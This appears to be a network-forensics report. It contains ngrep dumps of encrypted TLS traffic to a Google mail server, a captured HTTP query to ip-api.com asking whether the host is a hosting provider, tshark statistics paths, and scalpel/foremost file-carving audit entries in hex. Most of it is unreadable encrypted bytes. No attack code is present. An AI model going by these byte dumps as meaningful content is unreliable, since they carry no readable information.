u...)M......T.bwM..b%5a..&.q...HF.Q.w.|.$.{%.\\...[.\"\"5...Cg.oq:..@....Br.6q.....i...l.2........3{.u.@\n...N.%.T.m.].*..<4R.W...R0.$..>H}.....:.Gc.....t....{...QN..,...8...t..q..2~.~'pD~h.ue....dt./......`......+.....t.....*Wr...R..*...NTnle.Bb....k92..wb..D.......Y$..sh..y.6s);y...F>.o`T..T...a..d\\.....kl....Ut...1....Z...&..3...-cK.T..J.d.n.<..d....7.....*....N.A@....\nh...q!f.....&.....U...+.3.......#..r.v.A....P....?..zZ..M... ez\n.F. ..x.\"\"n......5...s....... %.Z/.&...7i]....},.....c...Q..*G...........h2.http/1.1............#.......-.....\n...\n...................mail.google.com.................... .H..\\..i..)8*.?.4r)2(....pn..^....Nn.....=.' .X.F....t/.,.wl.s..MQv.n.....]O...nn\"\"...../..MM....C..~...%.N.g ....*..G...3}...:...Jc..&...Y-..a.-...`...q.?.Z...1?%p...7.Kf.Ni....Z...v..<66.9N..L9.`}... 4...s.@r.s......Zv}B...a2.....l...9w..........\n#####\nT 10.152.152.11:63963 -> 208.95.112.1:80 [AP] #9\nGET /line/?fields=hosting HTTP/1.1.\nHost: ip-api.com.\nConnection: Keep-Alive.\n.\"\n0.0,NGrep,##,\"Payload: T 216.58.201.197:443 -> 10.152.152.11:63950 [AP] #11\n...........\\n{.Cr;......$.U.....;<.....LY.. .!..D...s..Ti..+.........S|.........n.3.d...`2..3fp....dac.Q.r?/.9....9f ..[ ..|.....WV1l.Z#.../...$....\"\"o.]....h..I...dT..1.4H=.v..@)x_..c\\.+..%<.{.]{'..j`.1.A.-.]~[.?T......u;}.....1......p...Z.......Mz...!.EQ.x..\\...]..#.j.Z...........]A................^..2...D...Y...Pr.K._j3......n'.>.%%.y..,X....6..@.Yu.1G....7)>.s..@/..#.....M.o#:...A..O7w....ay....V.....K.....R.5 ....]...l.....P..42.D61.nMa.,.........G.....:..hT.^....o.O.`..!w.D...dv.!*m_s..z.....w|0n\"\"..L.......#..............V.,.oW3.{}-...Bx.v.J..B.Z,...\n<6%t.Q<......--`.[p[D.\\.....*k}..|(...c...en......=u3...w.....3.a..`....W..........$..0.vv....y...cG;{+`...O..../..X........z..i\"\".d~...,.............l....bk..U..x...0S...&q{..c......N..zVs..r..I.QI.x.@r.t.$....U\"\".%....L`5%.a.0...A.._i..z.CJa>..`S9_....4....>\"\"Fj:..@.8yU....^L0.O.a.7:....%^..<..>.........0.?PX1./......4~.a.Q......]U.......c....?..<....}.......;}.mrv6.t.L.7o...........6\\..J}.1...t....|.].#....t.......Y...G.^.......,bQ...B.4...h.+..(......ms....:Q....U5......CO..F..@..A..~#.v.,...3.#.xuY..,...!..]A...RMc........Z.~......7..f.r@.=..MDu7..x..p...=.,K.W...(...)......g....n..{Rr..,.m..6..+....)$}... 9...<.}....5}c.......>.K\"\"L....;.+..............1...A.!.'......4\"\n0.0,NGrep,E.d.U!21.!.n...;..v4...Q.z...'.......c..........x..WO....g.\\m.s_.Dzla-....,\"Payload: 7f80Mg..>..Z.m..DU>.......Cu..S@.......-.l...=#.k.)2<...Q.c............-..n......B....6sD....C.}6W1..>.sN...._.....bS0.h~.74:..-.. ...$...Mv...l>y...?y;.?$.u._;...[.eH\\1a._..`6.....<f..zd.o.........L..G.q.m,.e...T..qr..[.....sY..IW..;......C..L.....s...d...$....q9`...t...../S..GZ~q..,ub.......qt.. &_w....%.../..1.|..[<h.NP.....9.....0r........5......Lo./. .M;.\"\"x...>.F.Rt4.B]..q.*...-]u..........c(.+....x.E6..o.G..#..U..N....`N.t..|.*..p.........<......>....a...e5.....N..<...P....r..[T....o..W..N.'N.$S&..9.u.\nTG... >\\...u..Pi........k.g.-... XN......C...e.....H.m..?..&I......]......5G.tx..=..U.2.a.V...G.6...z.....7sDx.p.......(~....n...Gcqa.5HND....`....}.H...^....Z...XSF.-8..~..^..(...2......A.#...V.h.f3..P.=...Z.9..v..K..x.....!8....gS..R.6...WG...]. .(.-.?F.....x.;...L..,*U5.)..[E.........<\"\"I...z.i.K..py.............RJ.4:....d..Av5.....9...._.@...e........uR....|z.v..&e._#...0..V...Z.~..x..4..M....._:.0....?...p47.rP).....(;.\"\".{Y^....r........3.|1.y%....'..+....L .................\"\"d..-D.J..........g.V..%.....Ec....P.W..O..-.:...Fi...11....<.....e.Ty..*#..Q.b]s...h.....\nk.#g...T7..,3....1.?..c...G[_...j.C......>..`*...%...S3JL.X....j...F.U...k..w........iBM.\\...2j.U.N...n...U...8r......r.t.cK.Ku\\..`...s..^.X2...b....^..g.....].......\"\".8...i#q...bf....bF...X..[G....4^D... 1....B.HW.'2g.....%X.IR....>....!%N.....I.>-P$..U.`....&P.F.......P..w.A...8+..<f=.P.#v.`D..F..].@rk~...)B M..*$.O..r.......N.82............=.....5...nT...=.Mt..,..nT..8......2\"\"..5.o...v...Nrb..+..Xw.-mZs.jN....\n...W`.eE..E..\\H..MIn.{K7...q......$..F...?... ..&J...C..v.\\=..3..y&o..g..:K.3.....L.?......c.Up........R...A\\[cD........~.0.......{@....R*Z...k..L#5E.<...q\"\"@^....P:..9.....k8.......I.....X...t....v.........M.6+7..y....\"\"..w.l...X..zy.......:...A.,f....,...P$+..a...e4.{0./[...Q.S.2.....Y*l...../...!#F....=}F...cA....Bc..z..z.1.....u..7G...W..n.6_6.=.0nT^.L.........F......n....#..@...(j...(......Futr..d...k.0..\\.].......#..w.L.\"\".}b.e~........$N.\"\".F\n[\nc..F.....g..w...Q.Tz`..............+.....o...,.>.0.;.._.3.].q..]E^6.rs......~..S.n..]...j4_`-o. ......!..o..p...?...4.%...>......`..d.9S.......Q..l....g.....qa.....O.....E.8.?06..........Ey+.\n.....o..$.#o..1...X....[u..#..QM..S.....YD.a...f3..O.|d....L6}..C.......Q..'..c.u.........F..A.q`..[...=.'...-.+.N...........K.........K.>..m......Av......Z.9...G=v..8...2.ys..4S.$S.t|..z(.................qW.....IX........4L...\\..f.&...D......Ge..X>..y.7. c}.OfPZ..B'1.:....^(l..n.t......q..X......y...$.............x.k......(.@7.9$...Tz....C..f.\nW...i.V.ybx.}X.?.ym. .Y..._...,^..w...&X..>..U...n.D..)....*P..L...<_....W..1i..`....2..........+..9..........i...3.~...V.....S.>...,J.w.Ge:......L...\\...@.f/....yXIv..I4F.....C'...u.CVz...P-sP6./D..$......z....eh}Z...8.b...p/.@h..A..\n##\nT 216.58.201.197:443 -> 10.152.152.11:63950 [AP] #13\n...D..3?..V.A..i=>.!i....u..Ai&.k6..$'u.\\FYti......a`]7......%.......T....v.A7E...g*.X....Cm.C25....D..a.E;......X...M..j..)..I.w...n.}.atB..U.E.....1.A..7..P....=.R........?.rc.;._....6`...M.L..Nz.$\"\"....&.y}.....l+.$Pt6%..Fm.D.[.~.....x.i]W....<.-.N.1...x\"\"NW.e.........9...:.V1;4..O..f.\"\"......r......@8.TR.P.Re....[...t0.=..)u..m......x.h.~..=.M..7...K.[/.b.).&.>r..*...1nSW...[....=..1.....2...=...@W.+.#.(.......C.Ot.}f..7..l.7.S......>2/J..v.MY.:.M\"\"....`....u.F.d}mI... .....JLr..O..b.fG:.p...N#]7.TW.E.....@)as.............puD....U...&...;..S...\\.. .._+#g.B....s[..x.].?...L.....N...^.@ ...m...V.........Rm......).*...RaR..Q9|h.`.{.,.w.-......zm|P...Mb.6..z.]z......5xA...r...i;!g7l.....E......\"\"....c...d.}6x..H.'4......u........BQ.`p..4.><.....-X`5.V.......|p....k..[..Qp..AN.....&...w.kxl.Y....L.HF....d..|~6..x.6.E[=.{GVo.........K..H........2.-.1........M0.P.J......+$....%.7...Jo..KE.?ut)..75%.....zA...,.....h...>a.....b...n..U.a..N&.......E{...R.0..4....)9.5.'....c'....xp.]....I...{..7..G.%...-.b..V...2...M_.x...<^Q...8M.?..9_5.........)..txr.....i.[oxdzPS.?m.....U.....v..g......6f@..].TgD..[/36..7(7...=4..$f9..n%..g=.#i@'6.Hc......,...?- ..P.WY.ma...@...........3.,VC.0..)..5i<..&..%W-a.@aB.{u.Q......#&..+.ZE34...SY.h./O.U.S....[.at~H./@8......]sCD..Z.6.......4p.[q.f.......\\.I..e..k....5.....`.<..+v..Zu.\n##\nT 10.152.152.11:63950 -> 216.58.201.197:443 [AP] #15\n..........?....p.5w.wgv.b5BU....b..{.k}..r....]ed.v...;.*...gwJ}..Kt..(j'<\n##\nT 10.152.152.11:63950 -> 216.58.201.197:443 [AP] #17\n....W.a..4.\n....:.7%..gu...........I=\\.......4..]..LR..>W..T`w{v.>..S..u_.....1.i.kyd..{.)y2\n##\nT 10.152.152.11:63950 -> 216.58.201.197:443 [AP] #19\n.....\n..<E...K>7.....#..H.........a..JD.F......1....q.?...c....0...-99....+...2....e........p].`.N...nO..7W_...;..39t.../.?.J[......2n.1wuz.d.1Uw.V.W*....(S..............P..^..O......!...%......5.b.?3....t....F>.....N..C.Hl.g{8.*..@..0vAm.s.. .M..+-.F......V..Rv5.K.T....&...P\n.k..x..p&a.PS.t\\-i.r...........U<..i.....L.....f....iF7j.0w4nV..@&.%..r..@%..P7.$.P.s..~;......[..)3....6.T...gV~.j.o...L..s9}_.y.m....=B.k_.o..M.....t.D..J..`.m..&*.lSdV&}...G..`...v.]....&.....\n.k%.....\n+y/D.t........r..M..{....>.....u.A!z....j!......%............V.00sTt.X.8..#..B...(..k..-....f.8\"\"T.9.... .....Q..VO.....'Ko>.LR.4.........M.G6......r.l..#..m..+.f.......'.cG..L.....D&..*.J.f...6.z..:Z....k.'R..0..P.\n..3.r..~....:...H..N,....X..M..{......|v\nkTA?.@.A....e..Ok..a*k.V...mt..A..b..-~.../@a...\n.,[X.\nc..........].].Z....T0bR...A....#RE\n.T-...R(.IE_.B....F.`.W\"\"...B._.<V@.ojH..Z...@..:%E]3LU.I.P..F..D....{.(\n##\nT 208.95.112.1:80 -> 10.152.152.11:63963 [AP] #21\nHTTP/1.1 200 OK.\nDate: Sun, 19 Jul 2026 08:08:15 GMT.\nContent-Type: text/plain; charset=utf-8.\nContent-Length: 5.\nAccess-Control-Allow-Origin: *.\nX-Ttl: 60.\nX-Rl: 44.\n.\ntrue\"\n0.0,NGrep,#,\"Payload: T 216.58.201.197:443 -> 10.152.152.11:63950 [AP] #22\n....}....\"\"Rk\\.....Z0'.U+7`K..P...n.7E.XF.......5F..4&vh..ZP.....#H.8.5.|.B.^.]v.IJ...c.;B.;s.....r...........vk...\n0..3..Q...XpM|*|....#k.a......}..........{.j..-o....7A....C.?'..^....:....`E..(.x.4......E2.......w.\\.e...\\..s..$..3n...t.Xdx....f[z.s.k......$..5.6o...t.W.3..m..h.....eA.T...#H{...A.6.`...+..w. {O.N...l..e>:.\nK.Wd...v.T.v..j..J.\"\".....s./.\"\"...D..p...%.:....c..X.G...R:g....../......Mv...,.I4......(......$c...]}@O..:....f)y...mv....Ve.ZWy.,.w...L..[.g....+.0..x.....v]....+\n###\nT 216.58.201.197:443 -> 10.152.152.11:63950 [AP] #25\n.A<N..|&5%...G<er..r.W\\[u.....GI.d..*......4H.){&F.N..o.....=.....SQT..4..........q...A....q.....2U5.^;s..^Tn...~..u................n..NE>....n..[......s.~9...by\\.6...\n6..t.....].%p\"\"N.9..+.g.a...\nv.,.V...\"\"..9..5.y..pr.m.M....k..w......Pg?...R...5....Y0.R..B.z..4r..T..D...........\\I..U.. .ta\n......}b..=..N9..e/.S:.].m./.......<..>.s}a6......&.+E.>...r`....2.Jkt../....h.....|'.h6Oy(........BD..o...a..]3..........9rm4.....>.\n..f.F3...e..L...o.....|.i\\\"\".+..o........z8..=............y..l.c3;.....\\.....a\n##\nT 10.152.152.11:63950 -> 216.58.201.197:443 [AP] #27\n......VCU..C...]A........DWR.lB\n##\nT 216.58.201.197:443 -> 10.152.152.11:63950 [AP] #29\n....s%.\"\".c...FU..v...I._..=.............J.\\.s.WmE...y.....j...J..19[...p..qEjZ...I..[..\\9..o..f:....l.....6./)C.E..u.%Jx...<..}..uo6.@..}!.l..jQ\"\"..y..<...2....1..~w$v.AK...J.} .7X.|...pcO..,..-..|\\.-}Y..@dh..%im....\\..\\..V3..9I.9..DX....%.8.5.t^.\"\".)9..WvP.U\\1)c.....5....M_.`L....i.)..*.......a.S......w/......&..3^...Ht.n.r......FfG..........C..v....a.......v.T..:1.........y1'....c.v...z.$...9...z*D.\\.v...L0.]6..=.N.T.o..*.KMc....%.Pw...d.9e.y..>. SKh6..(..q.gAL.....H.[.s......D.d...\"\n0.0,NGrep,#,\"Payload: T 216.58.201.197:443 -> 10.152.152.11:63950 [AP] #30\n..m.%..H....8(.O.pm....h..f ........_(\"\".G..kaQ5@.~U.\"\".....)x...v%.....XB.......{.R~p.(F0d53R..T.W...8Y...... ....5.`E.....K...7...,..d.d.;S`.....6.....N...u\"\"`...a.....6.i.i.R..i.m. ~m....h.PK..^gr..=[.E.R/...7).%......d;....d...{.o..)....!...k.:.`........O...O...Qnt=....<K`....B.j.?...kv?...9m......\\..k_....g.....|...i......./h}......9...e.+m..e.:F.LE...............V....q..7+a4.;.....s..IlV..Nc..<...b.u...; ....KJ.....X.b.....?............9.R.p.e.!..5G..4'%'........).......e..Y.I.pA.....g. .&DZ......C..\\..F0.....\"\"..UA&.......O|P.ep.1. t.~..e.:.....gI.....Y...K.OK...9.*.zU.a....W....?...j.F........X..b...Q..^.........y....Lt..r.C..\\e.q..}-....).t..\n).4. 6~..)-P..?..i..;..c..(..DL[/t..xZ..p8..Z@...............A.....k.0z._Xhe.\"\"...I......E..j.E...2U.ys9d....oa.)\n.....2|Y.P...q....W1..>ysl<.....R.3h.}.!r.e...\\.'..I..r..j.cE...........9'...W....)#.<....*........1..SH...-}K...K.mN.d,....kA........X.....C@.....s..i.7.VA*...8.^.Hc|x...RzL'..|]...=..)..I _...:.ahv......\\.{1+SO.(..y..%......c.................%..xs..J.I~N\n.....v^)`...-..%....q...2.8.plAG..1.....=...0,...\"\n0.0,NGrep,.^........ [N.hy...>...i......&,\"Payload:  .+eW.-.<.2,..<..8.y.8..5..ES..\\.}..j.\n.....wT....S..H,..\n..?G.W...F<.X.....L....*_.U.\n.MV.fx.z0C..{..D{U.Y...b.J..U...qs.5...?....?.)X....zl.......J.......X.s....\n1o..a.h..........B{\"\"..\\I[O..p..c...(.4..\n.Ja..[.qv...`.....^..L.G.svv.........]..._`].42.A..._..o.5`.........M.....&..<.1[.4....j....\nPRE...*...w.\\+]?s.....L.}.$.3...4!..T......Q..........u.\"\"J...g..$7.....p...`..4..._......G*.^.S..G...H..^..5j|......&.TW../..<C|O.u.w.D...........>CF..#9.y.(.6....f...W..W..&......W..(..\\B.7....U\n.ji.4...o..4...*y.r)QUF...x.E......?..sa..(......'..F}....\\.a^%G....\\s.^v..E&H92.?.t....I.E.xo...c{...'.z.Vp...J..r.....C..a.}..m(....\\......:.T....z..b..7.....B.n.,..0...\\?..<.I..&2..{.r'B.....q..3......91.R.8.Pvn...;..+d-K..I.0.....V..(....2.....).|2..=^s.n.).m.J..3..[.....c,..h`......b....(.,...w...*..\n.FX...{;Jr_..\\.K?.@M......py.....x.p.h.a +..Y.!..8..V..53h.q?.,...X.U...yKE.J.P.`;._\n2;.;.w..W..D]S..........q.~|06.$...f.M...?..'......7..#9y.b...{...|>..[..G....(...........;C,..F..(.l3.<...;R..8.Ub.;W99..0>..v../.....OHc..QL........\"\"..:g..q..-.|.....BI.x..k\n..}B.......Z.t.Z...0...%...].......s.F..!.\"\"......v...p..4...1(,...'.b.....*... .I.W1......Sn.....)*%.C...h......u....^W/....@.(.......WlZ...\n....O...~Ily...{..W)T.Y.|..a@.'.J......@..FD...a.*.....e.T.....T.x..)ft.$.....K,.....xl'b..t.G..^...eN.P....z.gcP..l.mP...f.cO...2..^5X.......J.}..6\n...8..89...mQ.o.1...}.H..f<...0...J.............}.,D.\\;PQs'<n.3h._@d.._..B..f.u.Nc.M.a0P4....&.ZQ.v.'t....^...m.E.D.........A....s=n...@..r...z\\44.......U...<..j....1.,.-.a.........)...(....k#Dha).E!.tq.. .W.F.~mOD0W.g.`.}..4.a[.....*.\\..gt......1..&/...x|./(.......InMSQ,7.(...Igy..+.y:...,......(8*Nr.Pzmj.'WCO..>.<..7r...5c....+^..DQ.D.^......,.h.K.B$^rj...............0n.se....E.C...=O......[.j!...U.NF.'.uR..p...T..io.W.m%[.@.#..f..;Q....q.\"\"K.zb].MI.Tl..\n##\nT 216.58.201.197:443 -> 10.152.152.11:63950 [AP] #32\nw.\"\".%..U\n##\nT 216.58.201.197:443 -> 10.152.152.11:63950 [AP] #34\nt...&...?o\"\"+.mX.......O<.T.z.Z....K..+....O..g.~...~M..l`-l.P^m.3vl..5....j.C%Z...#...._-PLk[..KH6...a.....F...9....?Q.....u.......\n0...r.....wW...>].M6I.. ......|Pm....[r..i..&..l*~...GP..F..W\\k..v.)...O.-P..G.3..V.qF..-.......x3R[..F.....9........&..dlwW.*..........}..g.Ks.......h,..#..yBO....2d...!E^.w..X.i.b....`H).pk]=.......O....q...5<`.........-....(....\n .p.,r.4G....!......7...~..}..ZL.C..)..u..Jm...(0..Z\\.b(v@..Z.t..9...3......x..7.....Ww.....|Q=\n/]6.T...'B..E7._T$[...i*s.@...xoj....'Q....Vd.*..........!P...W.xQ/......Q5..AP.7.T....\\Zp..I......L6^....fA|..1S....M.......e\\...~..y1..b.1..%.s2..]..D.....f.L..%.~.!.....Z`.?..Sq.....1.\\h..... ..`..\\..n..\ntG..y......W.)...j...@#...eL..{sR.M...%m....t{.9!.W.....^.....v..2.......\"\".._q.H..`..;..a....0...i...x].....\n#\nT 10.152.152.11:63950 -> 216.58.201.197:443 [AP] #35\n....\"\"..i.....f..\n..:z..hZ.j.N.>.I.....K\n#####exit\"\n0.0,Network Stats,TShark Stat: protocol_hierarchy,Path: /tmp/tmpxy4nykdw/tshark/stats/tshark_protocol_hierarchy.txt\n0.0,Network Stats,TShark Stat: conversations_tcp,Path: /tmp/tmpxy4nykdw/tshark/stats/tshark_conversations_tcp.txt\n0.0,Network Stats,TShark Stat: conversations_udp,Path: /tmp/tmpxy4nykdw/tshark/stats/tshark_conversations_udp.txt\n0.0,Network Stats,TShark Stat: endpoints_ip,Path: /tmp/tmpxy4nykdw/tshark/stats/tshark_endpoints_ip.txt\n0.0,Network Stats,TShark Stat: http_stats,Path: /tmp/tmpxy4nykdw/tshark/stats/tshark_http_stats.txt\n0.0,Network Stats,TShark Stat: dns_stats,Path: /tmp/tmpxy4nykdw/tshark/stats/tshark_dns_stats.txt\n0.0,Network Stats,TShark Stat: expert_info,Path: /tmp/tmpxy4nykdw/tshark/stats/tshark_expert_info.txt\n0.0,Network Stats,TShark Stat: io_graph,Path: /tmp/tmpxy4nykdw/tshark/stats/tshark_io_graph.txt\n0.0,Forensics,Object Extracted: %3ffields=hosting,Path: /tmp/tmpxy4nykdw/tshark/objects/%3ffields=hosting\n","carved_files_analysis.csv":"Timestamp,Stream ID,Source IP,Source Port,Dest IP,Dest Port,Protocol,File Name,File Type,File Path,Size (bytes),MD5,SHA256,Entropy,Strings Preview,Content Preview (Hex)\n2026-07-19T13:54:50.036190,Tool:tmpxy4nykdw/carved,Unknown,0,Unknown,0,HTTP,scalpel.conf,conf,/tmp/tmpxy4nykdw/carved/scalpel.conf,796,a2da2c51920b2a2338daac52dc8f3894,35fa9929898a9ad0b97ddb04fb3b9b8cc0295a9e38cc7463922f86fa92d7c165,3.97,\" Scalpel Configuration Generated by Network Analyzer,  ext      case  header          footer,  Graphics, jpg        y     , x10   , jpg        y     , xe1           , png        y     , x0a   , gif        y     , x61   , gif        y     , x61   ,  Documents, pdf        y     , x46           , zip        y     , x04           ,  Executables, exe        y     , x5a                   REVERSE, elf        y     , x46           REVERSE,  Multimedia, mp3        y     , x33                , mp4        y     , x70 REVERSE,         \",0a 23 20 53 63 61 6c 70 65 6c 20 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 47 65 6e 65 72 61 74 65 64 20 62 79 20 4e 65 74 77 6f 72 6b 20 41 6e 61 6c 79 7a 65 72 0a 23 20 65 78 74 20 20 20 20 20 20 63 61 73 65 20 20 68 65 61 64 65 72 20 20 20 20 20 20 20 20 20 20 66 6f 6f 74 65 72 0a 0a 23 20 47 72 61 70 68 69 63 73 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 30 5c 78 30 30 5c 78 31 30 20 20 20 5c 78 66 66 5c 78 64 39 0a 6a 70 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 66 66 5c 78 64 38 5c 78 66 66 5c 78 65 31 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 64 39 0a 70 6e 67 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 38 39 5c 78 35 30 5c 78 34 65 5c 78 34 37 5c 78 30 64 5c 78 30 61 5c 78 31 61 5c 78 30 61 20 20 20 5c 78 34 39 5c 78 34 35 5c 78 34 65 5c 78 34 34 5c 78 61 65 5c 78 34 32 5c 78 36 30 5c 78 38 32 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 37 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 67 69 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 37 5c 78 34 39 5c 78 34 36 5c 78 33 38 5c 78 33 39 5c 78 36 31 20 20 20 5c 78 30 30 5c 78 33 62 0a 0a 23 20 44 6f 63 75 6d 65 6e 74 73 0a 70 64 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 32 35 5c 78 35 30 5c 78 34 34 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 5c 78 32 35 5c 78 34 35 5c 78 34 66 5c 78 34 36 5c 78 30 44 0a 7a 69 70 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 33 5c 78 30 34 20 20 20 20 20 20 20 20 20 20 20 5c 78 35 30 5c 78 34 62 5c 78 30 35 5c 78 30 36 0a 0a 23 20 45 78 65 63 75 74 61 62 6c 65 73 0a 65 78 65 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 64 5c 78 35 61 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 65 6c 66 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 37 66 5c 78 34 35 5c 78 34 63 5c 78 34 36 20 20 20 20 20 20 20 20 20 20 20 52 45 56 45 52 53 45 0a 0a 23 20 4d 75 6c 74 69 6d 65 64 69 61 0a 6d 70 33 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 34 39 5c 78 34 34 5c 78 33 33 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 5c 78 66 66 5c 78 66 62 0a 6d 70 34 20 20 20 20 20 20 20 20 79 20 20 20 20 20 5c 78 30 30 5c 78 30 30 5c 78 30 30 5c 78 32 30 5c 78 36 36 5c 78 37 34 5c 78 37 39 5c 78 37 30 20 52 45 56 45 52 53 45 0a 20 20 20 20 20 20 20 20\n2026-07-19T13:54:50.038661,Tool:carved/scalpel,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmpxy4nykdw/carved/scalpel/audit.txt,468,67bd6cab98c6a778d3e1030194394258,84f51d67bbfd8c7fa032abf3892e0ccedc9b22e50b2d24e74c959b95dd5f2826,5.03,\"Scalpel version 1.60 audit file, Started at Sun Jul 19 13:54:50 2026, Command line:, scalpel -c /tmp/tmpxy4nykdw/carved/scalpel.conf /tmp/filtered_q_yppgne.pcap -o /tmp/tmpxy4nykdw/carved/scalpel , Output directory: /tmp/tmpxy4nykdw/carved/scalpel, Configuration file: /tmp/tmpxy4nykdw/carved/scalpel.conf, Opening target , /tmp/filtered_q_yppgne.pcap, The following files were carved:, File,   Start, Chop, Length, Extracted From, Completed at Sun Jul 19 13:54:50 2026\",0a 53 63 61 6c 70 65 6c 20 76 65 72 73 69 6f 6e 20 31 2e 36 30 20 61 75 64 69 74 20 66 69 6c 65 0a 53 74 61 72 74 65 64 20 61 74 20 53 75 6e 20 4a 75 6c 20 31 39 20 31 33 3a 35 34 3a 35 30 20 32 30 32 36 0a 43 6f 6d 6d 61 6e 64 20 6c 69 6e 65 3a 0a 73 63 61 6c 70 65 6c 20 2d 63 20 2f 74 6d 70 2f 74 6d 70 78 79 34 6e 79 6b 64 77 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 71 5f 79 70 70 67 6e 65 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 78 79 34 6e 79 6b 64 77 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 20 0a 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 78 79 34 6e 79 6b 64 77 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 74 6d 70 2f 74 6d 70 78 79 34 6e 79 6b 64 77 2f 63 61 72 76 65 64 2f 73 63 61 6c 70 65 6c 2e 63 6f 6e 66 0a 0a 4f 70 65 6e 69 6e 67 20 74 61 72 67 65 74 20 22 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 71 5f 79 70 70 67 6e 65 2e 70 63 61 70 22 0a 0a 54 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 66 69 6c 65 73 20 77 65 72 65 20 63 61 72 76 65 64 3a 0a 46 69 6c 65 09 09 20 20 53 74 61 72 74 09 09 09 43 68 6f 70 09 09 4c 65 6e 67 74 68 09 09 45 78 74 72 61 63 74 65 64 20 46 72 6f 6d 0a 0a 0a 43 6f 6d 70 6c 65 74 65 64 20 61 74 20 53 75 6e 20 4a 75 6c 20 31 39 20 31 33 3a 35 34 3a 35 30 20 32 30 32 36 0a\n2026-07-19T13:54:50.032190,Tool:carved/foremost,Unknown,0,Unknown,0,HTTP,audit.txt,txt,/tmp/tmpxy4nykdw/carved/foremost/audit.txt,700,50ce095523c2ee4ee9423f815909bede,eecb7a67a1be5ead9cddf755ad446a6d9225c3bda1bfd5cc3f69acb42f25b668,4.93,\"Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus, Audit File, Foremost started at Sun Jul 19 13:54:50 2026, Invocation: foremost -t all -i /tmp/filtered_q_yppgne.pcap -o /tmp/tmpxy4nykdw/carved/foremost , Output directory: /tmp/tmpxy4nykdw/carved/foremost, Configuration file: /etc/foremost.conf, ------------------------------------------------------------------, File: /tmp/filtered_q_yppgne.pcap, Start: Sun Jul 19 13:54:50 2026, Length: 17 KB (17424 bytes),  Name (bs, 512),        Size,  File Offset,  Comment , Finish: Sun Jul 19 13:54:50 2026, 0 FILES EXTRACTED, ------------------------------------------------------------------, Foremost finished at Sun Jul 19 13:54:50 2026\",46 6f 72 65 6d 6f 73 74 20 76 65 72 73 69 6f 6e 20 31 2e 35 2e 37 20 62 79 20 4a 65 73 73 65 20 4b 6f 72 6e 62 6c 75 6d 2c 20 4b 72 69 73 20 4b 65 6e 64 61 6c 6c 2c 20 61 6e 64 20 4e 69 63 6b 20 4d 69 6b 75 73 0a 41 75 64 69 74 20 46 69 6c 65 0a 0a 46 6f 72 65 6d 6f 73 74 20 73 74 61 72 74 65 64 20 61 74 20 53 75 6e 20 4a 75 6c 20 31 39 20 31 33 3a 35 34 3a 35 30 20 32 30 32 36 0a 49 6e 76 6f 63 61 74 69 6f 6e 3a 20 66 6f 72 65 6d 6f 73 74 20 2d 74 20 61 6c 6c 20 2d 69 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 71 5f 79 70 70 67 6e 65 2e 70 63 61 70 20 2d 6f 20 2f 74 6d 70 2f 74 6d 70 78 79 34 6e 79 6b 64 77 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 20 0a 4f 75 74 70 75 74 20 64 69 72 65 63 74 6f 72 79 3a 20 2f 74 6d 70 2f 74 6d 70 78 79 34 6e 79 6b 64 77 2f 63 61 72 76 65 64 2f 66 6f 72 65 6d 6f 73 74 0a 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 66 69 6c 65 3a 20 2f 65 74 63 2f 66 6f 72 65 6d 6f 73 74 2e 63 6f 6e 66 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 46 69 6c 65 3a 20 2f 74 6d 70 2f 66 69 6c 74 65 72 65 64 5f 71 5f 79 70 70 67 6e 65 2e 70 63 61 70 0a 53 74 61 72 74 3a 20 53 75 6e 20 4a 75 6c 20 31 39 20 31 33 3a 35 34 3a 35 30 20 32 30 32 36 0a 4c 65 6e 67 74 68 3a 20 31 37 20 4b 42 20 28 31 37 34 32 34 20 62 79 74 65 73 29 0a 20 0a 4e 75 6d 09 20 4e 61 6d 65 20 28 62 73 3d 35 31 32 29 09 20 20 20 20 20 20 20 53 69 7a 65 09 20 46 69 6c 65 20 4f 66 66 73 65 74 09 20 43 6f 6d 6d 65 6e 74 20 0a 0a 46 69 6e 69 73 68 3a 20 53 75 6e 